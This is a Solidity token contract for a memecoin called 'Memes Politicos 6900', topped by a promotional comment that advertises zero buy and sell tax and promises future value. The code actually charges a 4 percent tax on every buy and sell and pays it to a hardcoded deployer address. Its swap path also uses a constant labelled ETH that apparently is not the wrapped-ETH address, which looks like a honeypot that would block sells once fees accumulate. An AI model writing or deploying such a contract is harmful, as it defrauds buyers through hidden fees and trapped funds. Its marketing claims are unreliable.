// SPDX-License-Identifier: MIT


/**
MEMES POLITICOS 6900

LET'S DO OUR BEST FOR OUR BELOVED COMMUNITY!

Date and time:
Saturday 7th October, 4.30PM UTC
Launch type:
Stealth launch/Fair Launch

Memes Politicos 6900 is not your usual memecoin project. It's an entire ecosystem with the sole objective of rewarding the early adopters. Hold on to your $MP6900 as they will be very valuable in the near future. Team has a lot of things planned which they will release gradually as the ecosystem develops.

ZERO TAX BUY/SELL

JOIN MEMES POLITICOS6900 COMMUNITY
Telegram:
https://t.me/MemesPoliticos6900
Twitter:
https://twitter.com/MPoliticos6900
Website:
https://memespoliticos6900.com/
*/

pragma solidity ^0.8.21;

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
 
contract MemesPoliticos6900 {
    string public constant name = "Memes Politicos 6900";  //
    string public constant symbol = "MPOLITICOS6900";  //
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 1_000_000_000 * 10**decimals;

    uint256 constant buyTax = 4;
    uint256 constant sellTax = 4;
    uint256 constant swapAmount = totalSupply / 100;

    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;
    
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    address private pair;
    address constant ETH = 0x8fF16a6cc7992f5b40524Ad83Bb0aD4f01cc8787;
    address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
    address payable constant deployer = payable(address(0x06da8B540063AA0203da01cB7E2Cb2a4c00Bff67)); //

    bool private swapping;
    bool private tradingOpen;

    constructor() {
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][routerAddress] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable {}

    function approve(address spender, uint256 amount) external returns (bool){
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool){
        return _transfer(msg.sender, to, amount);
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool){
        allowance[from][msg.sender] -= amount;        
        return _transfer(from, to, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal returns (bool){
        require(tradingOpen || from == deployer || to == deployer);

        if(!tradingOpen && pair == address(0) && amount > 0)
            pair = to;

        balanceOf[from] -= amount;

        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){
            swapping = true;
            address[] memory path = new  address[](2);
            path[0] = address(this);
            path[1] = ETH;
            _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                swapAmount,
                0,
                path,
                address(this),
                block.timestamp
            );
            deployer.transfer(address(this).balance);
            swapping = false;
        }

        if(from != address(this)){
            uint256 taxAmount = amount * (from == pair ? buyTax : sellTax) / 100;
            amount -= taxAmount;
            balanceOf[address(this)] += taxAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }

    function openTrading() external {
        require(!tradingOpen);
        require(msg.sender == deployer);
        tradingOpen = true;        
    }
}